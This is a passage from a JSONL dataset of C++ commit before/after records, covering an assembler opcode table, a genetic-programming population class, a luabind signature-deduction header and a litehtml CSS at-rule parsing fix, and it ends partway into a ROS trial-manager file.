0x30, 0x50, 0x00)},\n    {\"IF\",   bind(op::RV,  \"IFN\", 0x40, 0x90, 0x00)},\n    {\"SET\",  bind(op::RV,  \"IFN\", 0x60, 0x80, 0x00)},\n    {\"ADD\",  bind(op::RV,  \"IFN\", 0x70, 0x80, 0x04)},\n    {\"OR\",   bind(op::RR,   \"OR\", 0x80, 0x01)},\n    {\"AND\",  bind(op::RR,  \"AND\", 0x80, 0x02)},\n    {\"XOR\",  bind(op::RR,  \"XOR\", 0x80, 0x03)},\n    {\"SUB\",  bind(op::RR,  \"SUB\", 0x80, 0x05)},\n    {\"SHR\",  bind(op::RR,  \"SHR\", 0x80, 0x06)},\n    {\"RSUB\", bind(op::RR, \"RSUB\", 0x80, 0x07)},\n    {\"SHL\",  bind(op::RR,  \"SHL\", 0x80, 0x0E)},\n    {\"IDX\",  bind(op::NNN, \"IDX\", 0xA0)},\n    {\"JMP0\", bind(op::NNN,\"JMP0\", 0xB0)},\n    {\"RND\",  bind(op::RNN, \"RND\", 0xC0)},\n    {\"DRAW\", bind(op::RRN,\"DRAW\", 0xD0)},\n    {\"IFK\",  bind(op::R,   \"IFK\", 0xE0, 0x9E)},\n    {\"IFNK\", bind(op::R,  \"IFNK\", 0xE0, 0xA1)},\n    {\"GDEL\", bind(op::R,  \"GDEL\", 0xF0, 0x07)},\n    {\"WKEY\", bind(op::R,  \"WKEY\", 0xF0, 0x0A)},\n    {\"SDEL\", bind(op::R,  \"SDEL\", 0xF0, 0x15)},\n    {\"SAUD\", bind(op::R,  \"SAUD\", 0xF0, 0x18)},\n    {\"IADD\", bind(op::R,  \"IADD\", 0xF0, 0x1E)},\n    {\"CHAR\", bind(op::R,  \"CHAR\", 0xF0, 0x29)},\n    {\"SEP\",  bind(op::R,   \"SEP\", 0xF0, 0x33)},\n    {\"STOR\", bind(op::R,  \"STOR\", 0xF0, 0x55)},\n    {\"LOAD\", bind(op::R,  \"LOAD\", 0xF0, 0x65)},\n  };\n\n\n  for (;;) {\n    \/\/ This constructor will exit when no more input is received\n    string const tok{io::next_token()};\n\n    auto const fun{op2fun.find(tok)};\n    if (fun == op2fun.end()) {\n      io::exit_err(\"Unknown command '\" + tok + \"'\\n\");\n    }\n\n    fun->second();\n  }\n\n  \/\/ Not reached\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/GP.cpp\n#include \"..\/headers\/GP.hpp\"\n\n#include <cstdlib>\n#include <iostream>\n\n\nGP::GP(int popSize, int maxDepth, int numberOfXs){\n\n    this->popSize = popSize;\n    this->maxDepth = maxDepth;\n    this->numberOfXs = numberOfXs;\n\n    ramped_halfhalf();\n}\n\nGP::~GP(){\n    for(int i=population.size() -1; i>=0; i--) {\n        population.pop_back();\n    }\n}\n\nvoid GP::ramped_halfhalf(){\n\n    for (int i=1; i< (popSize+1); i++){\n        population.push_back(new Individual(i%2==0, maxDepth, numberOfXs));\n        if (i % (popSize\/5)==0) this->maxDepth= this->maxDepth + 1;\n    }\n}\n    \n\nvoid GP::print_GP_d(){\n    for (int i=0; i<population.size(); i++){\n        population[i]->print_expression_d();\n        std::cout << std::endl;\n    }\n}\n\n\nvoid GP::print_GP_fitness_d(){\n    for (int i=0; i<popSize; i++){\n        population[i]->print_fitness_d();\n    }\n}\n\n\nvoid GP::calculate_fitness(std::vector<utils::DataPoint> points){\n    for (int i=0; i<popSize; i++){\n        population[i]->fitness(points);\n    }\n}\n<commit_msg>1.3 Mutação e crossover<commit_after>\/\/GP.cpp\n#include <cstdlib>\n#include <iostream>\n#include <math.h>\n\n#include \"..\/headers\/GP.hpp\"\n\n\nusing namespace utils;\n\n\n    \/\/--------------------CONSTRUTOR E DESTRUTOR--------------------------\/\/\n\nGP::GP(int popSize, int maxDepth, int numberOfXs){\n\n    \/\/construtor salva internamente as configurações da população e\n    \/\/chama o método que cria a população ramped_halfhalf\n    this->popSize = popSize;\n    this->maxDepth = maxDepth;\n    this->numberOfXs = numberOfXs;\n\n    ramped_halfhalf();\n\n    this->bestOfAllTimes = population[0]->get_copy();\n}\n\nGP::~GP(){\n\n    \/\/destrutor. precisa limpar o conjunto inteiro de individuos da\n    \/\/população. o pop_back chama o destrutor dos itens retirados\n    \/\/automaticamente.\n\n    for(int i=population.size() -1; i>=0; i--) {\n        population.pop_back();\n    }\n}\n\n\n    \/\/---------------MÉTODOS DE MANIPULAÇÃO DA POPULAÇÃO\/\/----------------\/\/\n\nvoid GP::ramped_halfhalf(){\n\n    \/\/cria a população no modo ramped_halfhalf. Nesse esquema, metade\n    \/\/da população é criada no estilo grow e metade no estilo full; e\n    \/\/a cada N\/5 individuos a profundidade máxima é aumentada em 1.\n    int auxMaxDepth = this->maxDepth;\n\n    for (int i=1; i< (popSize+1); i++){\n        population.push_back(new Individual(i%2==0, auxMaxDepth, numberOfXs));\n        if (i % (popSize\/5)==0) auxMaxDepth++;\n    }\n}\n\nvoid GP::calculate_fitness(std::vector<utils::DataPoint> points){\n\n    \/\/recebe o vector que contém os pontos utilizados no fitness e \n    \/\/atualiza os valores dos fitness de todos os individuos.\n\n    for (int i=0; i<popSize; i++){\n        population[i]->fitness(points);\n        if (population[i]->get_fitness() < bestOfAllTimes->get_fitness()){\n            delete bestOfAllTimes;\n            bestOfAllTimes = population[i]->get_copy();\n        }\n    }\n}    \n\nvoid GP::mutate_population(double mutation_rate){\n    for (int i=0; i<popSize; i++){\n        population[i]->mutation(mutation_rate);\n    }\n}\n\nvoid GP::tournament_selection_tester(std::vector<utils::DataPoint> points){\n    \/\/tournament de teste\n\n    vector<Individual *> selectedPop;\n    vector<Individual *> Pfilhos;\n\n    int auxMaxDepth = this->maxDepth;\n\n    for (int i=1; i< (popSize+1); i++){\n        Pfilhos.push_back(new Individual(i%2==0, auxMaxDepth, numberOfXs));\n        if (i % (popSize\/5)==0) auxMaxDepth++;\n    }\n\n    calculate_fitness(points);\n\n    for (int i=0; i<popSize; i++){\n        Pfilhos[i]->fitness(points);\n    }\n\n    for (int i=0; i<popSize; i++){\n\n        int index1, index2;\n        double fit1, fit2;\n\n        do {\n            index1 = random()% population.size();\n            index2 = random()% Pfilhos.size();\n\n            fit1 = population[index1]->get_fitness();\n            fit2 = Pfilhos[index2]->get_fitness();\n        } while ( (fit1 !=fit1) && (fit2 != fit2) );\n\n        if (fit1<fit2)\n            selectedPop.push_back(population[index1]->get_copy());\n        else\n            selectedPop.push_back(Pfilhos[index2]->get_copy());\n    }\n    population.clear();\n    Pfilhos.clear();\n\n    for (int i=0; i<popSize; i++){\n        population.push_back(selectedPop[i]->get_copy());\n    }\n    selectedPop.clear();\n}\n\nvoid GP::tournament_selection(std::vector<utils::DataPoint> points){\n    vector<Individual *> selectedPop;\n    \n    calculate_fitness(points);\n\n    for (int i=0; i<popSize; i++){\n\n        int index1, index2;\n        double fit1, fit2;\n\n        do {\n            index1 = random()% population.size();\n            index2 = random()% population.size();\n\n            fit1 = population[index1]->get_fitness();\n            fit2 = population[index2]->get_fitness();\n        } while ( (fit1 !=fit1) && (fit2 != fit2) );\n\n        if (fit1<fit2)\n            selectedPop.push_back(population[index1]->get_copy());\n        else\n            selectedPop.push_back(population[index2]->get_copy());\n    }\n    population.clear();\n\n    for (int i=0; i<popSize; i++){\n        population.push_back(selectedPop[i]->get_copy());\n    }\n    selectedPop.clear();\n}\n\nvoid GP::crossover_halfhalf(double crossover_rate){\n    vector<Individual *> crossedPop;\n    \n    while (crossedPop.size()<popSize){\n        crossedPop.push_back(population[random()%popSize]->crossover(crossover_rate, population[random()%popSize]));\n    }\n\n    population.clear();\n\n    for (int i=0; i<popSize; i++){\n        population.push_back(crossedPop[i]->get_copy());\n    }\n    crossedPop.clear();\n}\n\n    \/\/----------------------MÉTODOS DE DEBUG------------------------------\/\/\n\nvoid GP::print_GP_d(){\n\n    \/\/imprime a expressão de cada um dos individuos da população.\n\n    for (int i=0; i<population.size(); i++){\n        population[i]->print_expression_d();\n        std::cout << std::endl;\n    }\n}\n\nvoid GP::print_GP_fitness_d(){\n\n    \/\/imprime o fitness de daca um dos individuos da população.\n\n    for (int i=0; i<popSize; i++){\n        std::cout << population[i]->get_fitness() << std::endl;\n    }\n}\n\nvoid GP::print_GP_best_fitness_d(){\n\n    double best_mse = this->population[0]->get_fitness();\n    int best_eq = 0;\n\n    for (int i=1; i<popSize; i++){\n        if (population[i]->get_fitness() < best_mse) {\n            best_mse = population[i]->get_fitness();\n            best_eq = i ;\n        }\n    }\n    cout << best_mse << \"; expressão: \";\n    population[best_eq]->expression->print_node_d();\n    cout << endl;\n}\n\nvoid GP::printAndCompare_GP_bestOfAllTimes(std::vector<utils::DataPoint> points){\n    cout << \"O melhor de todos:\";\n    bestOfAllTimes->print_expression_d();\n    cout << \"VALOR DA ENTRADA\\tVALOR DO MELHOR DE TODOS OS TEMPOS\" << endl;\n    for (int i=0; i<points.size(); i++){\n        cout << points[i].y << \"\\t\" << bestOfAllTimes->expression->eval(points[i]) << endl;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright Daniel Wallin 2008. Use, modification and distribution is\n\/\/ subject to the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n# ifndef LUABIND_DEDUCE_SIGNATURE_080911_HPP\n#  define LUABIND_DEDUCE_SIGNATURE_080911_HPP\n\n#  include <luabind\/detail\/most_derived.hpp>\n\n#  include <boost\/function_types\/components.hpp>\n#  include <boost\/function_types\/is_callable_builtin.hpp>\n#  include <boost\/function_types\/is_member_function_pointer.hpp>\n#  include <boost\/type_traits\/add_reference.hpp>\n#  include <boost\/utility\/enable_if.hpp>\n\nnamespace luabind { namespace detail {\n\nnamespace mpl = boost::mpl;\nnamespace fty = boost::function_types;\n\ntemplate <class F, class Enable=void>\nstruct signature_aux\n{\n    typedef F type;\n};\n\n\/\/ Handle boost::function and std::function:\ntemplate <template<class> class F, class S>\nstruct signature_aux<\n    F<S>,\n    typename mpl::apply< \/\/ Enable only if F<S>::result_type exists.\n        mpl::always<void>, typename F<S>::result_type>::type >\n{\n    typedef S type;\n};\n\ntemplate <typename F>\nstruct is_function:\n    fty::is_callable_builtin<typename signature_aux<F>::type>\n{};\n\ntemplate <class F>\ntypename boost::enable_if<\n    is_function<F>,\n    fty::components<typename signature_aux<F>::type> >::type\ndeduce_signature(F const&, ...)\n{\n    return fty::components<typename signature_aux<F>::type>();\n}\n\ntemplate <class F, class Wrapped>\ntypename boost::enable_if<\n    fty::is_member_function_pointer<typename signature_aux<F>::type>,\n    fty::components<\n        typename signature_aux<F>::type,\n        boost::add_reference<most_derived<mpl::_1, Wrapped> > > >::type\ndeduce_signature(F, Wrapped*)\n{\n    return fty::components<\n        typename signature_aux<F>::type,\n        boost::add_reference<most_derived<mpl::_1, Wrapped> > >();\n}\n\n} } \/\/ namespace luabind::detail\n\n#endif  \/\/ LUABIND_DEDUCE_SIGNATURE_080911_HPP\n<commit_msg>Fix recognition of const std::\/boost::functions.<commit_after>\/\/ Copyright Daniel Wallin 2008. Use, modification and distribution is\n\/\/ subject to the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n# ifndef LUABIND_DEDUCE_SIGNATURE_080911_HPP\n#  define LUABIND_DEDUCE_SIGNATURE_080911_HPP\n\n#  include <luabind\/detail\/most_derived.hpp>\n\n#  include <boost\/function_types\/components.hpp>\n#  include <boost\/function_types\/is_callable_builtin.hpp>\n#  include <boost\/function_types\/is_member_function_pointer.hpp>\n#  include <boost\/type_traits\/add_reference.hpp>\n#  include <boost\/utility\/enable_if.hpp>\n\nnamespace luabind { namespace detail {\n\nnamespace mpl = boost::mpl;\nnamespace fty = boost::function_types;\n\ntemplate <class F, class Enable=void>\nstruct signature_aux\n{\n    typedef F type;\n};\n\n\/\/ Handle boost::function and std::function:\ntemplate <template<class> class F, class S>\nstruct signature_aux<\n    F<S>,\n    typename mpl::apply< \/\/ Enable only if F<S>::result_type exists.\n        mpl::always<void>, typename F<S>::result_type>::type >\n{\n    typedef S type;\n};\n\ntemplate <class F>\nstruct signature_aux<const F>: signature_aux<F> {};\n\ntemplate <typename F>\nstruct is_function:\n    fty::is_callable_builtin<typename signature_aux<F>::type>\n{};\n\ntemplate <class F>\ntypename boost::enable_if<\n    is_function<F>,\n    fty::components<typename signature_aux<F>::type> >::type\ndeduce_signature(F const&, ...)\n{\n    return fty::components<typename signature_aux<F>::type>();\n}\n\ntemplate <class F, class Wrapped>\ntypename boost::enable_if<\n    fty::is_member_function_pointer<typename signature_aux<F>::type>,\n    fty::components<\n        typename signature_aux<F>::type,\n        boost::add_reference<most_derived<mpl::_1, Wrapped> > > >::type\ndeduce_signature(F, Wrapped*)\n{\n    return fty::components<\n        typename signature_aux<F>::type,\n        boost::add_reference<most_derived<mpl::_1, Wrapped> > >();\n}\n\n} } \/\/ namespace luabind::detail\n\n#endif  \/\/ LUABIND_DEDUCE_SIGNATURE_080911_HPP\n<|endoftext|>"}
{"text":"<commit_before>#include \"html.h\"\n#include \"stylesheet.h\"\n#include <algorithm>\n#include \"document.h\"\n\n\nvoid litehtml::css::parse_stylesheet(const tchar_t* str, const tchar_t* baseurl, const std::shared_ptr<document>& doc, const media_query_list::ptr& media)\n{\n\ttstring text = str;\n\n\t\/\/ remove comments\n\ttstring::size_type c_start = text.find(_t(\"\/*\"));\n\twhile(c_start != tstring::npos)\n\t{\n\t\ttstring::size_type c_end = text.find(_t(\"*\/\"), c_start + 2);\n\t\ttext.erase(c_start, c_end - c_start + 2);\n\t\tc_start = text.find(_t(\"\/*\"));\n\t}\n\n\ttstring::size_type pos = text.find_first_not_of(_t(\" \\n\\r\\t\"));\n\twhile(pos != tstring::npos)\n\t{\n\t\twhile(pos != tstring::npos && text[pos] == _t('@'))\n\t\t{\n\t\t\ttstring::size_type sPos = pos;\n\t\t\tpos = text.find_first_of(_t(\"{\"), pos);\n\t\t\tif(pos != tstring::npos && text[pos] == _t('{'))\n\t\t\t{\n\t\t\t\tpos = find_close_bracket(text, pos, _t('{'), _t('}'));\n\t\t\t}\n\t\t\tif(pos != tstring::npos)\n\t\t\t{\n\t\t\t\tparse_atrule(text.substr(sPos, pos - sPos + 1), baseurl, doc, media);\n\t\t\t} else\n\t\t\t{\n\t\t\t\tparse_atrule(text.substr(sPos), baseurl, doc, media);\n\t\t\t}\n\n\t\t\tif(pos != tstring::npos)\n\t\t\t{\n\t\t\t\tpos = text.find_first_not_of(_t(\" \\n\\r\\t\"), pos + 1);\n\t\t\t}\n\t\t}\n\n\t\tif(pos == tstring::npos)\n\t\t{\n\t\t\tbreak;\n\t\t}\n\n\t\ttstring::size_type style_start = text.find(_t(\"{\"), pos);\n\t\ttstring::size_type style_end\t= text.find(_t(\"}\"), pos);\n\t\tif(style_start != tstring::npos && style_end != tstring::npos)\n\t\t{\n\t\t\tstyle::ptr st = std::make_shared<style>();\n\t\t\tst->add(text.substr(style_start + 1, style_end - style_start - 1).c_str(), baseurl);\n\n\t\t\tparse_selectors(text.substr(pos, style_start - pos), st, media);\n\n\t\t\tif(media && doc)\n\t\t\t{\n\t\t\t\tdoc->add_media_list(media);\n\t\t\t}\n\n\t\t\tpos = style_end + 1;\n\t\t} else\n\t\t{\n\t\t\tpos = tstring::npos;\n\t\t}\n\n\t\tif(pos != tstring::npos)\n\t\t{\n\t\t\tpos = text.find_first_not_of(_t(\" \\n\\r\\t\"), pos);\n\t\t}\n\t}\n}\n\nvoid litehtml::css::parse_css_url( const tstring& str, tstring& url )\n{\n\turl = _t(\"\");\n\tsize_t pos1 = str.find(_t('('));\n\tsize_t pos2 = str.find(_t(')'));\n\tif(pos1 != tstring::npos && pos2 != tstring::npos)\n\t{\n\t\turl = str.substr(pos1 + 1, pos2 - pos1 - 1);\n\t\tif(url.length())\n\t\t{\n\t\t\tif(url[0] == _t('\\'') || url[0] == _t('\"'))\n\t\t\t{\n\t\t\t\turl.erase(0, 1);\n\t\t\t}\n\t\t}\n\t\tif(url.length())\n\t\t{\n\t\t\tif(url[url.length() - 1] == _t('\\'') || url[url.length() - 1] == _t('\"'))\n\t\t\t{\n\t\t\t\turl.erase(url.length() - 1, 1);\n\t\t\t}\n\t\t}\n\t}\n}\n\nbool litehtml::css::parse_selectors( const tstring& txt, const litehtml::style::ptr& styles, const media_query_list::ptr& media )\n{\n\ttstring selector = txt;\n\ttrim(selector);\n\tstring_vector tokens;\n\tsplit_string(selector, tokens, _t(\",\"));\n\n\tbool added_something = false;\n\n\tfor(string_vector::iterator tok = tokens.begin(); tok != tokens.end(); tok++)\n\t{\n\t\tcss_selector::ptr selector = std::make_shared<css_selector>(media);\n\t\tselector->m_style = styles;\n\t\ttrim(*tok);\n\t\tif(selector->parse(*tok))\n\t\t{\n\t\t\tselector->calc_specificity();\n\t\t\tadd_selector(selector);\n\t\t\tadded_something = true;\n\t\t}\n\t}\n\n\treturn added_something;\n}\n\nvoid litehtml::css::sort_selectors()\n{\n\tstd::sort(m_selectors.begin(), m_selectors.end(),\n\t\t [](const css_selector::ptr& v1, const css_selector::ptr& v2)\n\t\t {\n\t\t\t return (*v1) < (*v2);\n\t\t }\n\t);\n}\n\nvoid litehtml::css::parse_atrule(const tstring& text, const tchar_t* baseurl, const std::shared_ptr<document>& doc, const media_query_list::ptr& media)\n{\n\tif(text.substr(0, 7) == _t(\"@import\"))\n\t{\n\t\tint sPos = 7;\n\t\ttstring iStr;\n\t\tiStr = text.substr(sPos);\n\t\tif(iStr[iStr.length() - 1] == _t(';'))\n\t\t{\n\t\t\tiStr.erase(iStr.length() - 1);\n\t\t}\n\t\ttrim(iStr);\n\t\tstring_vector tokens;\n\t\tsplit_string(iStr, tokens, _t(\" \"), _t(\"\"), _t(\"(\\\"\"));\n\t\tif(!tokens.empty())\n\t\t{\n\t\t\ttstring url;\n\t\t\tparse_css_url(tokens.front(), url);\n\t\t\tif(url.empty())\n\t\t\t{\n\t\t\t\turl = tokens.front();\n\t\t\t}\n\t\t\ttokens.erase(tokens.begin());\n\t\t\tif(doc)\n\t\t\t{\n\t\t\t\tdocument_container* doc_cont = doc->container();\n\t\t\t\tif(doc_cont)\n\t\t\t\t{\n\t\t\t\t\ttstring css_text;\n\t\t\t\t\ttstring css_baseurl;\n\t\t\t\t\tif(baseurl)\n\t\t\t\t\t{\n\t\t\t\t\t\tcss_baseurl = baseurl;\n\t\t\t\t\t}\n\t\t\t\t\tdoc_cont->import_css(css_text, url, css_baseurl);\n\t\t\t\t\tif(!css_text.empty())\n\t\t\t\t\t{\n\t\t\t\t\t\tmedia_query_list::ptr new_media = media;\n\t\t\t\t\t\tif(!tokens.empty())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttstring media_str;\n\t\t\t\t\t\t\tfor(string_vector::iterator iter = tokens.begin(); iter != tokens.end(); iter++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(iter != tokens.begin())\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tmedia_str += _t(\" \");\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tmedia_str += (*iter);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tnew_media = media_query_list::create_from_string(media_str, doc);\n\t\t\t\t\t\t\tif(!new_media)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tnew_media = media;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tparse_stylesheet(css_text.c_str(), css_baseurl.c_str(), doc, new_media);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else if(text.substr(0, 6) == _t(\"@media\"))\n\t{\n\t\ttstring::size_type b1 = text.find_first_of(_t('{'));\n\t\ttstring::size_type b2 = text.find_last_of(_t('}'));\n\t\tif(b1 != tstring::npos)\n\t\t{\n\t\t\ttstring media_type = text.substr(6, b1 - 6);\n\t\t\ttrim(media_type);\n\t\t\tmedia_query_list::ptr new_media = media_query_list::create_from_string(media_type, doc);\n\n\t\t\ttstring media_style;\n\t\t\tif(b2 != tstring::npos)\n\t\t\t{\n\t\t\t\tmedia_style = text.substr(b1 + 1, b2 - b1 - 1);\n\t\t\t} else\n\t\t\t{\n\t\t\t\tmedia_style = text.substr(b1 + 1);\n\t\t\t}\n\n\t\t\tparse_stylesheet(media_style.c_str(), baseurl, doc, new_media);\n\t\t}\n\t}\n}\n<commit_msg>Fixed parsing CSS at-rules Closes #74<commit_after>#include \"html.h\"\n#include \"stylesheet.h\"\n#include <algorithm>\n#include \"document.h\"\n\n\nvoid litehtml::css::parse_stylesheet(const tchar_t* str, const tchar_t* baseurl, const std::shared_ptr<document>& doc, const media_query_list::ptr& media)\n{\n\ttstring text = str;\n\n\t\/\/ remove comments\n\ttstring::size_type c_start = text.find(_t(\"\/*\"));\n\twhile(c_start != tstring::npos)\n\t{\n\t\ttstring::size_type c_end = text.find(_t(\"*\/\"), c_start + 2);\n\t\ttext.erase(c_start, c_end - c_start + 2);\n\t\tc_start = text.find(_t(\"\/*\"));\n\t}\n\n\ttstring::size_type pos = text.find_first_not_of(_t(\" \\n\\r\\t\"));\n\twhile(pos != tstring::npos)\n\t{\n\t\twhile(pos != tstring::npos && text[pos] == _t('@'))\n\t\t{\n\t\t\ttstring::size_type sPos = pos;\n\t\t\tpos = text.find_first_of(_t(\"{;\"), pos);\n\t\t\tif(pos != tstring::npos && text[pos] == _t('{'))\n\t\t\t{\n\t\t\t\tpos = find_close_bracket(text, pos, _t('{'), _t('}'));\n\t\t\t}\n\t\t\tif(pos != tstring::npos)\n\t\t\t{\n\t\t\t\tparse_atrule(text.substr(sPos, pos - sPos + 1), baseurl, doc, media);\n\t\t\t} else\n\t\t\t{\n\t\t\t\tparse_atrule(text.substr(sPos), baseurl, doc, media);\n\t\t\t}\n\n\t\t\tif(pos != tstring::npos)\n\t\t\t{\n\t\t\t\tpos = text.find_first_not_of(_t(\" \\n\\r\\t\"), pos + 1);\n\t\t\t}\n\t\t}\n\n\t\tif(pos == tstring::npos)\n\t\t{\n\t\t\tbreak;\n\t\t}\n\n\t\ttstring::size_type style_start = text.find(_t(\"{\"), pos);\n\t\ttstring::size_type style_end\t= text.find(_t(\"}\"), pos);\n\t\tif(style_start != tstring::npos && style_end != tstring::npos)\n\t\t{\n\t\t\tstyle::ptr st = std::make_shared<style>();\n\t\t\tst->add(text.substr(style_start + 1, style_end - style_start - 1).c_str(), baseurl);\n\n\t\t\tparse_selectors(text.substr(pos, style_start - pos), st, media);\n\n\t\t\tif(media && doc)\n\t\t\t{\n\t\t\t\tdoc->add_media_list(media);\n\t\t\t}\n\n\t\t\tpos = style_end + 1;\n\t\t} else\n\t\t{\n\t\t\tpos = tstring::npos;\n\t\t}\n\n\t\tif(pos != tstring::npos)\n\t\t{\n\t\t\tpos = text.find_first_not_of(_t(\" \\n\\r\\t\"), pos);\n\t\t}\n\t}\n}\n\nvoid litehtml::css::parse_css_url( const tstring& str, tstring& url )\n{\n\turl = _t(\"\");\n\tsize_t pos1 = str.find(_t('('));\n\tsize_t pos2 = str.find(_t(')'));\n\tif(pos1 != tstring::npos && pos2 != tstring::npos)\n\t{\n\t\turl = str.substr(pos1 + 1, pos2 - pos1 - 1);\n\t\tif(url.length())\n\t\t{\n\t\t\tif(url[0] == _t('\\'') || url[0] == _t('\"'))\n\t\t\t{\n\t\t\t\turl.erase(0, 1);\n\t\t\t}\n\t\t}\n\t\tif(url.length())\n\t\t{\n\t\t\tif(url[url.length() - 1] == _t('\\'') || url[url.length() - 1] == _t('\"'))\n\t\t\t{\n\t\t\t\turl.erase(url.length() - 1, 1);\n\t\t\t}\n\t\t}\n\t}\n}\n\nbool litehtml::css::parse_selectors( const tstring& txt, const litehtml::style::ptr& styles, const media_query_list::ptr& media )\n{\n\ttstring selector = txt;\n\ttrim(selector);\n\tstring_vector tokens;\n\tsplit_string(selector, tokens, _t(\",\"));\n\n\tbool added_something = false;\n\n\tfor(string_vector::iterator tok = tokens.begin(); tok != tokens.end(); tok++)\n\t{\n\t\tcss_selector::ptr selector = std::make_shared<css_selector>(media);\n\t\tselector->m_style = styles;\n\t\ttrim(*tok);\n\t\tif(selector->parse(*tok))\n\t\t{\n\t\t\tselector->calc_specificity();\n\t\t\tadd_selector(selector);\n\t\t\tadded_something = true;\n\t\t}\n\t}\n\n\treturn added_something;\n}\n\nvoid litehtml::css::sort_selectors()\n{\n\tstd::sort(m_selectors.begin(), m_selectors.end(),\n\t\t [](const css_selector::ptr& v1, const css_selector::ptr& v2)\n\t\t {\n\t\t\t return (*v1) < (*v2);\n\t\t }\n\t);\n}\n\nvoid litehtml::css::parse_atrule(const tstring& text, const tchar_t* baseurl, const std::shared_ptr<document>& doc, const media_query_list::ptr& media)\n{\n\tif(text.substr(0, 7) == _t(\"@import\"))\n\t{\n\t\tint sPos = 7;\n\t\ttstring iStr;\n\t\tiStr = text.substr(sPos);\n\t\tif(iStr[iStr.length() - 1] == _t(';'))\n\t\t{\n\t\t\tiStr.erase(iStr.length() - 1);\n\t\t}\n\t\ttrim(iStr);\n\t\tstring_vector tokens;\n\t\tsplit_string(iStr, tokens, _t(\" \"), _t(\"\"), _t(\"(\\\"\"));\n\t\tif(!tokens.empty())\n\t\t{\n\t\t\ttstring url;\n\t\t\tparse_css_url(tokens.front(), url);\n\t\t\tif(url.empty())\n\t\t\t{\n\t\t\t\turl = tokens.front();\n\t\t\t}\n\t\t\ttokens.erase(tokens.begin());\n\t\t\tif(doc)\n\t\t\t{\n\t\t\t\tdocument_container* doc_cont = doc->container();\n\t\t\t\tif(doc_cont)\n\t\t\t\t{\n\t\t\t\t\ttstring css_text;\n\t\t\t\t\ttstring css_baseurl;\n\t\t\t\t\tif(baseurl)\n\t\t\t\t\t{\n\t\t\t\t\t\tcss_baseurl = baseurl;\n\t\t\t\t\t}\n\t\t\t\t\tdoc_cont->import_css(css_text, url, css_baseurl);\n\t\t\t\t\tif(!css_text.empty())\n\t\t\t\t\t{\n\t\t\t\t\t\tmedia_query_list::ptr new_media = media;\n\t\t\t\t\t\tif(!tokens.empty())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttstring media_str;\n\t\t\t\t\t\t\tfor(string_vector::iterator iter = tokens.begin(); iter != tokens.end(); iter++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(iter != tokens.begin())\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tmedia_str += _t(\" \");\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tmedia_str += (*iter);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tnew_media = media_query_list::create_from_string(media_str, doc);\n\t\t\t\t\t\t\tif(!new_media)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tnew_media = media;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tparse_stylesheet(css_text.c_str(), css_baseurl.c_str(), doc, new_media);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else if(text.substr(0, 6) == _t(\"@media\"))\n\t{\n\t\ttstring::size_type b1 = text.find_first_of(_t('{'));\n\t\ttstring::size_type b2 = text.find_last_of(_t('}'));\n\t\tif(b1 != tstring::npos)\n\t\t{\n\t\t\ttstring media_type = text.substr(6, b1 - 6);\n\t\t\ttrim(media_type);\n\t\t\tmedia_query_list::ptr new_media = media_query_list::create_from_string(media_type, doc);\n\n\t\t\ttstring media_style;\n\t\t\tif(b2 != tstring::npos)\n\t\t\t{\n\t\t\t\tmedia_style = text.substr(b1 + 1, b2 - b1 - 1);\n\t\t\t} else\n\t\t\t{\n\t\t\t\tmedia_style = text.substr(b1 + 1);\n\t\t\t}\n\n\t\t\tparse_stylesheet(media_style.c_str(), baseurl, doc, new_media);\n\t\t}\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* maestro.cpp - management of multiple trials for dubins_traffic\n *\n * SCL; 2016\n *\/\n\n#include <ros\/ros.h>\n#include \"std_srvs\/Empty.h\"\n#include \"gazebo_msgs\/ModelState.h\"\n#include \"geometry_msgs\/Pose.h\"\n#include \"geometry_msgs\/Twist.h\"\n\n#include <Eigen\/Dense>\n\n#include \"integrator_chains_msgs\/ProblemInstanceJSON.h\"\n#include \"dubins_traffic_msgs\/MMode.h\"\n#include \"roadnet.hpp\"\n#include \"problem.hpp\"\n\n\nusing namespace dubins_traffic;\n\n\nclass Maestro {\npublic:\n    Maestro( ros::NodeHandle &nh_, Problem &problem_ );\n\n    bool mode_request( dubins_traffic_msgs::MMode::Request &req,\n                       dubins_traffic_msgs::MMode::Response &res );\n\n    void perform_trial();\n    void main();\n\nprivate:\n    ros::NodeHandle &nh;\n    Problem &problem;\n    ros::Publisher problemJSONpub;\n\n    ros::Publisher set_model_state;\n    ros::ServiceClient gazebo_toggle;\n    bool gazebo_paused;\n\n    ros::ServiceServer mode_srv;\n    enum MMode { ready, waiting, running, resetting };\n    MMode mmode;\n\n    \/* (copied from domains\/integrator_chains\/dynamaestro\/src\/main.cpp to avoid dependency.) *\/\n    bool parse_range_str( const std::string param_name, Eigen::Vector2i &range );\n};\n\nbool Maestro::parse_range_str( const std::string param_name, Eigen::Vector2i &range )\n{\n    std::string range_str;\n    if (!nh.getParam( param_name, range_str ))\n        return false;\n\n    char *endptr;\n    errno = 0;\n    range(0) = strtol( range_str.data(), &endptr, 10 );\n    if (errno || endptr == range_str.data()) {\n        std::cerr << \"dubins_traffic_maestro: Malformed range string in \\\"\"\n                  << param_name << \"\\\"\" << std::endl;\n        return false;\n    }\n    char 